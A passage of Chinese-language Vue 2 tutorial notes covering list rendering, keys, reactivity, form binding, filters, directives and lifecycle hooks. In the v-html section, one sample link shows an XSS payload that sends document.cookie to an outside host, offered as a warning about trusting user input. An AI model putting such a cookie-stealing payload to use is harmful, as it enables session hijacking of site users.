    <!--v-if v-else-if v-else记住不能打断,要连着写-->
<!--    <h2>当前的n值是{{ n }}</h2>-->
    <button @click="n++">点我n+1</button>
<!--    <div v-if="n === 1">angular</div>-->
<!--    <div v-else-if="n === 2">react</div>-->
<!--&lt;!&ndash;    <div>111</div>&ndash;&gt;-->
<!--    <div v-else-if="n === 3">vue js</div>-->
<!--    <div v-else>not found</div>-->

    <!--v-if与template的配合使用-->
    <template v-if="n === 1">
        <h2>你好</h2>
        <h2>shanghai</h2>
        <h2>shenzhen</h2>
    </template>
</div>
<script type="text/javascript">
    const vm = new Vue({
        el: '#root',
        data:{
            name: 'shanghai',
            n:0
        }
    })
</script>
</body>
</html>

十二、列表渲染

12.1、基本列表(v-for)

<div id="root">
    <!--
			v-for指令:
						1.用于展示列表数据
						2.语法:v-for="(item, index) in xxx" :key="yyy"
						3.可遍历:数组、对象、字符串(用的很少)、指定次数(用的很少)
	-->
    <h2>人员列表</h2>
    <ul>
        <!--遍历数组-->
        <!--循环列表的方法 类似与for in循环遍历-->
        <!--:代表v-bind 属性key让每一个li有了唯一的标识,key一定不要重复-->
        <!--v-for(for in// for of)可以接受到两个参数,一个是当前的元素另一个是当前元素的索引 类似于下面的person,index-->
        <li v-for='(person, index) in persons' :key="index">
            <!--p可能来自形参,也可能来自于写在data里的属性,更可能来自于计算属性 computed-->
            {{person.name}} - {{ person.age }}
        </li>
    </ul>
    <!--遍历对象-->
    <h2>汽车信息</h2>
    <!--注意遍历对象的时候先收到的是每一项的属性的value,第二项是对应的键名:key-->
    <ul v-for="(val, key) of car" :key="key">
         <li>{{ key }} -- {{ val }}</li>
    </ul>
    <!--遍历字符串 用的不多-->
    <h2>测试遍历字符串</h2>
    <!--注意遍历字符串的时候先收到的是字符串中每一个字符,第二项是其对应的索引index-->
    <ul v-for="(c, index) of str" :key="index">
        <li>{{ index }} -- {{ c }}</li>
    </ul>
    <!--遍历指定次数-->
    <h2>遍历指定次数</h2>
    <!--注意遍历指定次数的时候先收到的是number(例如5,则number是12345),第二项是对应index(0开始计数,则是0,1,2,3,4)-->
    <ul v-for="(num, index) in 5" :key="index">
        <li>{{ index }} -- {{ num }}</li>
    </ul>
</div>
<script type="text/javascript">
    Vue.config.productionTip = false;
    new Vue({
        el: '#root',
        data: {
            //数组
            persons: [
                {id: '001', name: '张三', age: 18},
                {id: '002', name: '李四', age: 19},
                {id: '003', name: '王五', age: 20}
            ],
            car: {
                name: '奥迪a8',
                price: '70w',
                color: '黑色'
            },
            str: 'hello'
        }
    })
</script>

12.2、key属性的作用与原理

<div id="root">
    <!--
		面试题:react、vue中的key有什么作用?(key的内部原理)
			1. 虚拟DOM中key的作用:
				   key是虚拟DOM对象的标识,当数据发生变化时,Vue会根据【新数据】生成【新的虚拟DOM,
				   随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较,比较规则如下:
			2.对比规则:
					(1).旧虚拟DOM中找到了与新虚拟DOM相同的key:
							①.若虚拟DOM中内容没变, 直接使用之前的真实DOM!
							②.若虚拟DOM中内容变了, 则生成新的真实DOM,随后替换掉页面中之前的真实DOM
					(2).旧虚拟DOM中未找到与新虚拟DOM相同的key
							创建新的真实DOM,随后渲染到到页面。
			3. 用index作为key可能会引发的问题:
					(1). 若对数据进行:逆序添加、逆序删除等破坏顺序操作:
							会产生没有必要的真实DOM更新 ==> 界面效果没问题, 但效率低。
					(2). 如果结构中还包含输入类的DOM:
							会产生错误DOM更新 ==> 界面有问题。
			4. 开发中如何选择key?:
					(1).最好使用每条数据的唯一标识作为key, 比如id、手机号、身份证号、学号等唯一值。
					(2).如果不存在对数据的逆序添加、逆序删除等破坏顺序操作,仅用于渲染列表用于展示,
						使用index作为key是没有问题的。
		-->
    <h2>人员列表</h2>
    <button @click.once="add">添加一个老刘</button>
    <ul>
        <!--key唯一标识: 身份证,属性key是被vue给征用的,并不反应在真实dom上-->
        <li v-for='(person, index) in persons' :key="person.id">
            {{person.name}} - {{ person.age }}
            <!--为了看到key值的不正确滥用所导致的问题,我们添加一个input框-->
            <input type="text" />
        </li>
    </ul>
</div>
<script type="text/javascript">
    Vue.config.productionTip = false;
    new Vue({
        el: '#root',
        data: {
            //数组
            persons: [
                {id: '001', name: '张三', age: 18},
                {id: '002', name: '李四', age: 19},
                {id: '003', name: '王五', age: 20}
            ],
        },
        methods:{
            add(){
                //往数组的头添加元素
                this.persons.unshift({
                    id:'004',
                    name:'老刘',
                    age: 40
                })
            }
        }
    })
</script>

12.3、列表过滤

<!doctype html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport"
          content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>列表过滤</title>
    <script src="../js/vue.js"></script>
</head>
<body>
<div id="root">
    <h2>人员列表</h2>
    <!--v-model双向绑定-->
    <input type="text" placeholder="请输入名字" v-model="keyword"/>
    <ul v-for="p in filPersons" :key="p.id">
        <li>{{p.name}}-{{ p.age }}- {{ p.sex }}</li>
    </ul>
</div>
<script type="text/javascript">
    //用监视属性书写功能
    // new Vue({
    //     el:'#root',
    //     data: {
    //         keyword : '',
    //         persons: [
    //             {id: "001", name:'周冬雨', age:20, sex:'女'},
    //             {id: "002", name:'马冬梅', age:19, sex:'女'},
    //             {id: "003", name:'周杰伦', age:21, sex:'男'},
    //             {id: "004", name:'温兆伦', age:22, sex: '男'},
    //         ],
    //         filPersons: []
    //     },
    //     //watch监听用户输入项keyword的变化
    //     watch:{
    //         keyword: {
    //            immediate: true, //上来就进行监视获得到的newV是''
    //            handler(newV){
    //                // console.log(newV)
    //                //不要修改元数据,这样只会越写越少
    //                //注意一个某个字符串.indexOf('')是0而不是-1(都包含空字符串)
    //                this.filPersons = this.persons.filter(p => p.name.indexOf(newV) !== -1);
    //            }
    //         }
    //     }
    // })
    //用计算属性书写功能

    //当computed和watch都可以实现基本功能时优先考虑computed (重要)
    new Vue({
        el:'#root',
        data: {
            keyword : '',
            persons: [
                {id: "001", name:'周冬雨', age:20, sex:'女'},
                {id: "002", name:'马冬梅', age:19, sex:'女'},
                {id: "003", name:'周杰伦', age:21, sex:'男'},
                {id: "004", name:'温兆伦', age:22, sex: '男'},
            ],
        },
        computed:{
            filPersons(){
                return this.persons.filter(p => p.name.indexOf(this.keyword) !== -1);
            }
        }
    })
</script>
</body>
</html>

12.4、列表排序

<div id="root">
    <h2>人员列表</h2>
    <!--v-model双向绑定-->
    <input type="text" placeholder="请输入名字" v-model="keyword"/>
    <button @click="sortType = 2">年龄升序</button>
    <button @click="sortType = 1">年龄降序</button>
    <button @click="sortType = 0">原顺序</button>
    <ul v-for="p in filPersons" :key="p.id">
        <li>{{p.name}}-{{ p.age }}- {{ p.sex }}</li>
    </ul>
</div>
<script type="text/javascript">
    new Vue({
        el:'#root',
        data: {
            keyword : '',
            sortType: 0, //0代表原顺序 1代表降序 2代表升序
            persons: [
                {id: "001", name:'周冬雨', age:20, sex:'女'},
                {id: "002", name:'马冬梅', age:19, sex:'女'},
                {id: "003", name:'周杰伦', age:21, sex:'男'},
                {id: "004", name:'温兆伦', age:22, sex: '男'},
            ],
        },
        computed:{
            filPersons(){
                const arr = this.persons.filter(p => p.name.indexOf(this.keyword) !== -1);
                //判断是否需要排序
                if(!this.sortType) return arr;
                //sort回调回收到前后两个数据项,a和b
                //sort会改变的原数组
                return arr.sort((p1, p2) => this.sortType === 1 ? p2.age-p1.age : p1.age - p2.age);
            }
        }
    });
</script>

12.5、更新时的一个问题(解决更新数组中元素不是无法触发响应式的问题)

<div id="root">
    <h2>人员列表</h2>
    <!--v-model双向绑定-->
    <button @click="updateM">更新马冬梅信息</button>
    <ul v-for="p in persons" :key="p.id">
        <li>{{p.name}}-{{ p.age }}- {{ p.sex }}</li>
    </ul>
</div>
<script type="text/javascript">
    const  vm = new Vue({
        el:'#root',
        data: {
            persons: [
                {id: "001", name:'周冬雨', age:20, sex:'女'},
                {id: "002", name:'马冬梅', age:19, sex:'女'},
                {id: "003", name:'周杰伦', age:21, sex:'男'},
                {id: "004", name:'温兆伦', age:22, sex: '男'},
            ],
        },
        methods:{
            updateM(){
                // this.persons[1].name = '马老师';  //奏效
                // this.persons[1].age = 50;      //奏效
                // this.persons[1].sex = '男'; //奏效
                // this.persons[1] = { id: '002', name: '马老师', age: 50, sex:'男' }; //这样修改vue是无法监测数据的
                this.persons.splice(1,1,{ id: '002', name: '马老师', age: 50, sex:'男' });
            }

        }
    });
</script>

12.6、vue监测数据改变的原理_对象

<body>
<!--
  2. 如何监测对象中的数据?
		 通过setter实现监视,且要在new Vue时就传入要监测的数据。
		 		(1).对象中后追加的属性,Vue默认不做响应式处理
				(2).如需给后添加的属性做响应式,请使用如下API:
							Vue.set(target,propertyName/index,value) 或
						    vm.$set(target,propertyName/index,value)
-->
<div id="root">
    <h2>学校名称:{{ name }}</h2>
    <h2>学校地址:{{ address }}</h2>
</div>
<script type="text/javascript">
    const vm = new Vue({
         el: '#root',
         data:{
             name: '武汉科技大学',
             address: '武汉',
             stu:{
                 name: 'tom',
                 age:{
                     rage: 12,
                     sage: 29
                 },
                 friends: [
                     { name: 'test', age: 18, sex: 'male' }
                 ]
             }
         }
     })
</script>
</body>

12.7、模拟一个数据监测

<script type="text/javascript">
    let data = {
        name: "武汉科技大学",
        address: '武汉'
    }
    //无限递归 调用栈炸了 内存溢出
    //错误写法
    // Object.defineProperty(data, 'name', {
    //     get(){
    //         return data.name
    //     },
    //     set(val){
    //         data.name = val;
    //     }
    // })

    //创建一个监视实例对象
    const obs = new Observer(data);

    //准备一个vm实例
    let vm = { };

    vm._data = data = obs;

    //观察者
    function Observer(obj){
        //缺陷:未实现递归(对象嵌套对象就会出现问题)
        const keys = Object.keys(obj);
        //遍历对象当中所有的key
        keys.forEach(key => {
            Object.defineProperty(this, key, {
                get(){
                    return obj[key]
                },
                set(v) {
                  console.log(`${key}的值改变了,变为${v}`);
                  obj[key] = v;
                }
            })
        });
    }



</script>

12.8、Vue.set的使用

<div id="root">
    <h1>学校信息</h1>
    <h2>学校名称:{{ name }}</h2>
    <h2>学校地址:{{ address }}</h2>
    <hr/>
    <h1>学生信息</h1>
    <button @click.once="addSex">添加一个性别属性,默认值是男</button>
    <h2>学生姓名:{{ stu.name }}</h2>
    <h2>学生真实年龄:{{ stu.age.rage }}</h2>
    <h2>学生对外年龄:{{ stu.age.sage}}</h2>
    <h2 v-if="stu.sex">学生性别: {{ stu.sex }}</h2>
    <h2>朋友们</h2>
     <ul v-for="(f, index) in stu.friends" :key="index">
         <li>{{ f.name }} -- {{ f.age }}</li>
     </ul>
</div>
<script type="text/javascript">
    const vm = new Vue({
         el: '#root',
         data:{
             name: '武汉科技大学',
             address: '武汉',
             stu:{
                 name: 'tom',
                 age:{
                     rage: 12,
                     sage: 29
                 },
                 friends: [
                     { name: 'Jerry', age: 23 },
                     { name: 'Jane', age: 18 }
                 ]
             }
         },
        methods:{
            addSex(){
                //这里this === vm
                //利用vue.set(或者vm.$set())api能够添加的属性变为响应式属性
                //注意对象不能是 Vue 实例,或者 Vue 实例的根数据对象。
                Vue.set(this.stu, 'sex', '男')
                // this.$set(this.stu, 'sex', '男');
            }
        }
     })
</script>

12.9、vue监测数据改变的原理_数组

<!doctype html>
<html lang="en">
<head>
    <!--
       通过包裹数组更新元素的方法实现,本质就是做了两件事:
			    (1).调用原生对应的方法对数组进行更新。
				(2).重新解析模板,进而更新页面。
	   在Vue修改数组中的某个元素一定要用如下方法:
			   1.使用这些API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()
			   2.Vue.set() 或 vm.$set()
    -->
    <meta charset="UTF-8">
    <meta name="viewport"
          content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>vue监测数据改变的原理_数组</title>
    <script src="../js/vue.js"></script>
</head>
<body>
<div id="root">
    <h1>学校信息</h1>
    <h2>学校名称:{{ name }}</h2>
    <h2>学校地址:{{ address }}</h2>
    <hr/>
    <h1>学生信息</h1>
    <button @click.once="addSex">添加一个性别属性,默认值是男</button>
    <h2>学生姓名:{{ stu.name }}</h2>
    <h2>学生真实年龄:{{ stu.age.rage }}</h2>
    <h2>学生对外年龄:{{ stu.age.sage}}</h2>
    <h2 v-if="stu.sex">学生性别: {{ stu.sex }}</h2>
    <h2>朋友们</h2>
     <ul v-for="(f, index) in stu.friends" :key="index">
         <li>{{ f.name }} -- {{ f.age }}</li>
     </ul>
    <h2>爱好</h2>
    <!--
      Vue 将被侦听的数组的变更方法进行了包裹,所以它们也将会触发视图更新。这些被包裹过的方法包括:
      push()
      pop()
      shift()
      unshift()
      splice()
      sort()
      reverse()
    -->
    <ul v-for="(h, index) in stu.hobbies" :key="index">
        <li>{{ h }}</li>
    </ul>
</div>
<script type="text/javascript">
    const vm = new Vue({
         el: '#root',
         data:{
             name: '武汉科技大学',
             address: '武汉',
             stu:{
                 name: 'tom',
                 age:{
                     rage: 12,
                     sage: 29
                 },
                 hobbies: ['抽烟', '喝酒', '烫头'],
                 friends: [
                     { name: 'Jerry', age: 23 },
                     { name: 'Jane', age: 18 }
                 ]
             }
         },
        methods:{
            addSex(){
                //这里this === vm
                //利用vue.set(或者vm.$set())api能够添加的属性变为响应式属性
                //注意对象不能是 Vue 实例,或者 Vue 实例的根数据对象。
                Vue.set(this.stu, 'sex', '男')
                // this.$set(this.stu, 'sex', '男');
            },
        }
     })
</script>
</body>
</html>

12.10、总结vue数据监测

<div id="root">
    <!--
		Vue监视数据的原理:
			1. vue会监视data中所有层次的数据。
			2. 如何监测对象中的数据?
					通过setter实现监视,且要在new Vue时就传入要监测的数据。
					(1).对象中后追加的属性,Vue默认不做响应式处理
					(2).如需给后添加的属性做响应式,请使用如下API:
									Vue.set(target,propertyName/index,value) 或
									vm.$set(target,propertyName/index,value)
			3. 如何监测数组中的数据?
								通过包裹数组更新元素的方法实现,本质就是做了两件事:
									(1).调用原生对应的方法对数组进行更新。
									(2).重新解析模板,进而更新页面。
			4.在Vue修改数组中的某个元素一定要用如下方法:
				       1.使用这些API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()
					   2.Vue.set() 或 vm.$set()
			特别注意:Vue.set() 和 vm.$set() 不能给vm 或 vm的根数据对象 添加属性!!!
			: 数据劫持可以理解成为vue对你写在data的数据会进行加工,让它们都变成响应式的
		-->
    <h1>学生信息</h1>
    <button @click="student.age++">年龄+1</button> <br/>
    <button @click="addSex">添加性别属性,默认值:男</button> <br/>
    <button @click="student.sex = '未知' ">修改性别</button> <br/>
    <button @click="addFriend">在列表首位添加一个朋友</button> <br/>
    <button @click="updateFirstFriendName">修改第一个朋友的名字为:张三</button> <br/>
    <button @click="addHobby">添加一个爱好</button> <br/>
    <button @click="updateHobby">修改第一个爱好为:开车</button> <br/>
    <button @click="removeSmoke">过滤掉爱好中的抽烟</button> <br/>
    <h3>姓名:{{student.name}}</h3>
    <h3>年龄:{{student.age}}</h3>
    <h3 v-if="student.sex">性别:{{student.sex}}</h3>
    <h3>爱好:</h3>
    <ul>
        <li v-for="(h,index) in student.hobby" :key="index">
            {{h}}
        </li>
    </ul>
    <h3>朋友们:</h3>
    <ul>
        <li v-for="(f,index) in student.friends" :key="index">
            {{f.name}}--{{f.age}}
        </li>
    </ul>

</div>
<script type="text/javascript">
    Vue.config.productionTip = false;
    const vm = new Vue({
       el: '#root',
       data:{
           student:{
               name:'tom',
               age:18,
               hobby:['抽烟','喝酒','烫头'],
               friends:[
                   {name:'jerry',age:35},
                   {name:'tony',age:36}
               ]
           }
       },
       methods:{
           addSex(){
               this.$set(this.student, 'sex', '男');
           },
           addFriend(){
               this.student.friends.unshift({
                   name:'jack',
                   age:70,
               })
           },
           updateFirstFriendName(){
               this.student.friends[0].name = '张三'
           },
           addHobby(){
               this.student.hobby.push('学习');
           },
           updateHobby(){
               // this.student.hobby.splice(0,1,'开车');
               this.$set(this.student.hobby, 0, '开车');
           },
           removeSmoke(){
               //直接替换
               this.student.hobby = this.student.hobby.filter(h => h !== '抽烟');
           }
       }
    });
</script>

十三、提交表单数据

<div id="root">
    <!--
		收集表单数据:
				若:<input type="text"/>,则v-model收集的是value值,用户输入的就是value值。
				若:<input type="radio"/>,则v-model收集的是value值,且要给标签配置value值。
				若:<input type="checkbox"/>
					1.没有配置input的value属性,那么收集的就是checked(勾选 or 未勾选,是布尔值)
					2.配置input的value属性:
						(1)v-model的初始值是非数组,那么收集的就是checked(勾选 or 未勾选,是布尔值)
						(2)v-model的初始值是数组,那么收集的的就是value组成的数组
				备注:v-model的三个修饰符:
						lazy:失去焦点再收集数据
						number:输入字符串转为有效的数字
						trim:输入首尾空格过滤
		-->
    <form @submit.prevent="demo">
        <!--写了label则点击它也能使指定的input获取焦点 for属性的值为指定元素的id-->
        <label for="demo">账号:</label>
        <!--v-model主要用来双向绑定输入类表单value值-->
        <input type="text" id="demo" v-model.trim="userInfo.account"/>
        <br/>
        密码: <input type="password" v-model="userInfo.password"/>
        <br/>
        性别:
        <!--一组radio单选框的name值一定要相同 设置value值好让v-model去双向绑定-->
        :<input type="radio" v-model="userInfo.sex" name="sex" value="male"/>
        :<input type="radio" v-model="userInfo.sex" name="sex" value="female"/>
        <br/>
        年龄: <input type="number" v-model.number="userInfo.age"/>
        <br/>
        爱好:
        <!--如果没有value值则v-model收集checked元素-->
        学习 <input v-model="userInfo.hobby" type="checkbox" value="study"/>
        打游戏 <input v-model="userInfo.hobby" type="checkbox" value="game"/>
        吃饭 <input v-model="userInfo.hobby" type="checkbox" value="eat" />
        <br/>
        所属校区
        <select v-model="userInfo.city">
            <option value="">请选择校区</option>
            <option value="Beijing">北京</option>
            <option value="Shanghai">上海</option>
            <option value="Shenzhen">深圳</option>
            <option value="Wuhan">武汉</option>
        </select>
        <br/>
        其他信息<textarea v-model.lazy="userInfo.other"></textarea>
        <br/>
        <input type="checkbox" v-model="userInfo.ifAgree"/>阅读并接受<a href="https://www.google.com.tw">《用户协议》</a>
        <button>提交数据</button>
    </form>
</div>
<script type="text/javascript">
    Vue.config.productionTip = false;
    const vm = new Vue({
        el: '#root',
        data:{
            userInfo:{
                account: '',
                password: '',
                sex: 'male',
                age:'',
                hobby:[],
                city:'',
                other:'',
                ifAgree:''
            }
        },
        methods:{
            demo(){
                //json转换为string
                console.log(JSON.stringify(this.userInfo));
            }
        }
    })
</script>

十四、过滤器

<div id="root">
    <!--
			过滤器:
				定义:对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)。
				语法:
						1.注册过滤器:Vue.filter(name,callback)new Vue{filters:{}}
						2.使用过滤器:{{ xxx | 过滤器名}}  或  v-bind:属性 = "xxx | 过滤器名"
				备注:
						1.过滤器也可以接收额外参数、多个过滤器也可以串联
						2.并没有改变原本的数据, 是产生新的对应的数据
     -->
    <h1>显示格式化后的时间</h1>
    <!--计算属性实现-->
    <h2>现在是:{{ fmtTime }}</h2>
    <!--methods实现-->
    <h2>现在是{{ getFmtTime() }}</h2>
    <!--过滤器实现-->
    <h2>现在是:{{ time |  timeFormater }}</h2>
    <!--过滤器也可以传递参数-->
    <h2>现在是:{{ time | timeFormater('YYYY-MM-DD') | mySlice }}</h2>
    <h3 :x="msg | mySlice">你好,世界</h3>
</div>
<div id="root2">
   <h2>{{ msg | mySlice }}</h2>
</div>
<script type="text/javascript">
    Vue.config.productionTip = false;
    //全局过滤器的配置
    //注意配置一定要new vue实例之前确定
    Vue.filter('mySlice', function (val){
        return val.slice(0,4);
    });
    new Vue({
        el: "#root",
        data:{
            time: 1631808423062,
            msg: "你好,世界"
        },
        computed:{
            fmtTime(){
                return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss')
            }
        },
        methods:{
            getFmtTime(){
                return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss')
            }
        },
        //局部过滤器
        filters:{
            //过滤器本质上也是一个函数
            timeFormater(val, formate = 'YYYY-MM-DD HH:mm:ss'){
                return dayjs(val).format(formate)
            },
        }
    });

    const vm2 = new Vue({
        el:"#root2",
        data:{
            msg:'welcome'
        }
    })
</script>

Markdown将文本转换为 HTML

十五、内置指令

15.1、v-text

<body>
<!--
   我们学过的指令:
					v-bind	: 单向绑定解析表达式, 可简写为 :xxx
					v-model	: 双向数据绑定
					v-for  	: 遍历数组/对象/字符串
					v-on   	: 绑定事件监听, 可简写为@
					v-if 	 	: 条件渲染(动态控制节点是否存存在)
					v-else 	: 条件渲染(动态控制节点是否存存在)
					v-show 	: 条件渲染 (动态控制节点是否展示)
   v-text指令:
					1.作用:向其所在的节点中渲染文本内容。 (纯文本渲染)
					2.与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。这里有点不太灵活
-->
<div id="root">
    {{ name }}
    <div v-text="name"></div>
    <div v-text="str"></div>
</div>
<script type="text/javascript">
    Vue.config.productionTip = false;
    new Vue({
        el: '#root',
        data:{
          name:'上海',
          //注意v-text不会解析标签,而是直接将标签当纯文本解析
          str:'<h1>hello, shanghai</h1>'
        }
    })
</script>
</body>

15.2、v-html

<div id="root">
    <!--
			v-html指令:
					1.作用:向指定节点中渲染包含html结构的内容。
					2.与插值语法的区别:
								(1).v-html会替换掉节点中所有的内容,{{xx}}则不会。
								(2).v-html可以识别html结构。
					3.严重注意:v-html有安全性问题!!!!
								(1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
								(2).一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!
		-->
    <div v-text="name"></div>
    <div v-html="str"></div>
    <div v-html="str2"></div>
</div>
<script type="text/javascript">
    Vue.config.productionTip = false;
    new Vue({
        el: "#root",
        data:{
            name:'上海',
            //注意v-html会解析标签,这点与v-text不一样
            str:'<h1>hello, shanghai</h1>',
            //危险行为 永远不要相信用户的输入
            str2:'<a href=javascript:location.href="https://www.baidu.com?"+document.cookie>找到资源了兄弟</a>'
        }
    })
</script>

15.3、v-cloak

<body>
<!--
        v-cloak指令(没有值):
                1.本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。
                2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。
-->
<!-- 准备好一个容器-->
<div id="root">
    <h2 v-cloak>{{name}}</h2>
</div>
<script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
</body>

<script type="text/javascript">
    console.log(1)
    Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

    new Vue({
        el:'#root',
        data:{
            name:'尚硅谷'
        }
    })
</script>
</html>

15.4、v-once

<body>
<div id="root">
    <!--v-once-->
    <!--
			v-once指令:
						1.v-once所在节点在初次动态渲染后,就视为静态内容了。
						2.以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。
	-->
    <h2 v-once>初始化n的值为:{{ n }}</h2>
    <h2>当前的n值为:{{ n }}</h2>
    <button @click="n++">带我n+1</button>
</div>
<script type="text/javascript">
    Vue.config.productionTip = false;
    new Vue({
        el:"#root",
        data:{
           n:1
        }
    })
</script>
</body>

15.5、v-pre

<body>
<div id="root">
    <!--
			v-pre指令:
					1.跳过其所在节点的编译过程。
					2.可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。
    -->
    <h2 v-pre>Vue其实很简单</h2>
    <h2>当前的n值为:{{ n }}</h2>
    <button @click="n++">带我n+1</button>
</div>
<script type="text/javascript">
    Vue.config.productionTip = false;
    new Vue({
        el:"#root",
        data:{
           n:1
        }
    })
</script>
</body>

十六、自定义指令

16.1、自定义指令

<body>
<!--
   需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。
   需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。
   自定义指令总结:
		一、定义语法:
			(1).局部指令:
						new Vue({directives:{指令名:配置对象} })new Vue({directives: {指令名:回调函数}})
			(2).全局指令:
					    Vue.directive(指令名,配置对象) 或  Vue.directive(指令名,回调函数)
		二、配置对象中常用的3个回调:
						(1).bind:指令与元素成功绑定时调用。
						(2).inserted:指令所在元素被插入页面时调用。
						(3).update:指令所在模板结构被重新解析时调用。
		三、备注:
				         1.指令定义时不加v-,但使用时要加v-2.指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名。
-->
<!--
  下面的这是模版,要经过vue的解析才能放到页面中,dom树里
-->
<div id="root">
    <h2>当前的n值是:<span v-text="n"></span></h2>
<!--    <h2>放大10倍后的n值是: <span v-big-number="n"></span></h2>-->
    <h2>放大10倍后的n值是: <span v-big="n"></span></h2>
    <button @click="n++">点我n+1</button>
    <p>测试指令函数所调用的时机: {{ name }} </p>
    <hr/>
    <input type="text" v-fbind:value="n"/>
</div>
<div id="root2">
    <input type="text" v-fbind:value="x"/>
</div>
<script type="text/javascript">
    Vue.config.productionTip = false;
    //此时自定义fbind指令使全局指令了,其他vue实例所管理的容器也可以使用
    //全局指令
    Vue.directive('fbind', {
        bind(el, binding){
            // console.log('bind')
            el.value = binding.value;
        },
        //指令被插入页面时
        inserted(el, binding){
            // console.log('inserted')
            el.focus();
        },
        //指令所在模版被重新解析时
        update(el, binding){
            // console.log('update');
            el.value = binding.value;
        }
    })
    const vm = new Vue({
        el:"#root",
        data:{
            name: '上海',
            n:1
        },
        //定义指令的配置项: directives
        directives:{
            /**
             big函数的调用时机:
                    1.指令与元素成功绑定(但注意此时dom元素还没有成功的被弄到页面上去)时会被调用 (首次,类似于dom元素一加载)
                    2.指令所在的模版被重新解析时会被再次调用
            **/
            //两种写法:1.对象(key-value) 2.函数
            // 'big-number'(el,binding){
            //     console.log('big被调用啦!')
            //     //收到两个参数,第一个参数代表真实dom元素,第二个参数是绑定对象,关注该绑定对象中的value属性
            //     // console.log(el,binding);
            //     //原生dom的操作
            //     el.innerText = binding.value * 10;
            // },
            big(el,binding){
                console.log(this); //注意此处this===window vue实例对象此时'不管'你写在指令里面的函数了
                console.log('big被调用啦!')
                //收到两个参数,第一个参数代表真实dom元素,第二个参数是绑定对象,关注该绑定对象中的value属性
                // console.log(el,binding);
                //原生dom的操作
                el.innerText = binding.value * 10;
            },
            //自定义fbind绑定
            //换成对象写法 对比函数简写方式其实只是多了 inserted钩子
            // fbind:{
            //     //指令与元素成功绑定
            //     // bind(el, binding){
            //     //     // console.log('bind')
            //     //     el.value = binding.value;
            //     // },
            //     // //指令被插入页面时
            //     // inserted(el, binding){
            //     //     // console.log('inserted')
            //     //     el.focus();
            //     // },
            //     // //指令所在模版被重新解析时
            //     // update(el, binding){
            //     //     // console.log('update');
            //     //     el.value = binding.value;
            //     // }
            // }
        }
    });

    const vm2 = new Vue({
        el:'#root2',
        data:{
            x: 1,
        }
    })
</script>
</body>

16.2、回顾dom操作

<body>
    <button id="btn">
        点我创建一个输入框
    </button>
    <script type="text/javascript">

        const btn = document.querySelector('#btn');
        btn.onclick = () => {
            const input = document.createElement('input');
            input.className = 'demo';
            input.value = "99";
            input.onclick = () => alert('你好,世界');
            
			//此时它的parentElement属性是null,无法获取,因为它并不在dom树中
            console.log(input.parentElement); 

            //将该input插入到dom树中
            document.body.appendChild(input);
            //input出现的时候,让其自动获取焦点
            //注意一定要在input框被放到dom树中再运行focus函数,否则它将无法自动获取焦点
            //一定要放在dom树中
            input.focus();
            input.parentElement.style.backgroundColor = 'skyblue';
        }
    </script>
</body>

十七、生命周期

17.1、引出生命周期

<body>
<div id="root">
    <!--
			生命周期:
				1.又名:生命周期回调函数、生命周期函数、生命周期钩子。
				2.是什么:Vue在关键时刻帮我们调用的一些特殊名称的函数。
				3.生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的。
			    4.生命周期函数中的this指向是vm 或 组件实例对象。
	-->
    <h1 v-if="a">你好啊</h1>
    <!--v-bind绑定-->
    <h1 :style="{opacity}">欢迎学习vue</h1>
</div>
<script type="text/javascript">
    Vue.config.productionTip = false;
    const vm = new Vue({
        el:"#root",
        data:{
            opacity: 1,
            a:true
        },
        methods:{
        },

        //mounted
        //vue完成模版的解析并把初始的真实的dom元素挂载完毕就调用mounted函数
        //只调用一次
        mounted(){
            //关键性时刻调用对应的函数 生命周期
            console.log('mounted');
            const timer = setInterval(() => {
                //剪头函数没有this会从外部作用域寻找 mounted是由vue管理的函数,所以该函数中的this是vm(vue实例对象)
                this.opacity -= 0.01;
                if(this.opacity <= 0) this.opacity = 1;
            },16);
        }
    });

    //通过外部的定时器实现,不推荐
    // setInterval(() => {
    //     vm.opacity -= 0.01;
    //     if( vm.opacity <= 0) vm.opacity = 1;
    // }, 16);
</script>
</body>

17.2、分析生命周期

<div id="root" :x="n">
    <h1>当前的n值是{{ n }}</h1>
    <h1 v-text="n"></h1>
    <button @click="add">点我+1</button>
    <button @click="bye">点我销毁vm</button>
</div>
<script type="text/javascript">
    Vue.config.productionTip = false;
    new Vue({
        el:"#root",
        //template模版字符串只能有一个根结点
        // template:'<div><h1>当前的n值是{{ n }}</h1>\n' +
        //     '<button @click="add">点我+1</button></div>',
        //注意template是不能作为根标签来使用的,不能去骗vue,可以用fragment(vue3新加,模仿react)
        data: {
            n: 1
        },
        methods:{
            add(){
                console.log('add')
                this.n++;
            },
            bye(){
                //实例销毁后调用。该钩子被调用后,对应 Vue 实例的所有指令都被解绑,所有的(自定义)事件监听器被移除,所有的子实例也都被销毁。
                console.log('bye');
                this.$destroy();
            }
        },
        watch:{
            n(){
                console.log('n变了');
            }
        },
        beforeCreate(){
            console.log('beforeCreate');
            // console.log(this);

        },
        created(){
            console.log('created');
            // console.log(this);
        },
        beforeMount(){
            console.log('beforeMount');
            // console.log(this);
        },
        mounted(){
            console.log('mounted');
            console.log(this);
            // document.querySelector('h1').innerText = 'hahah';
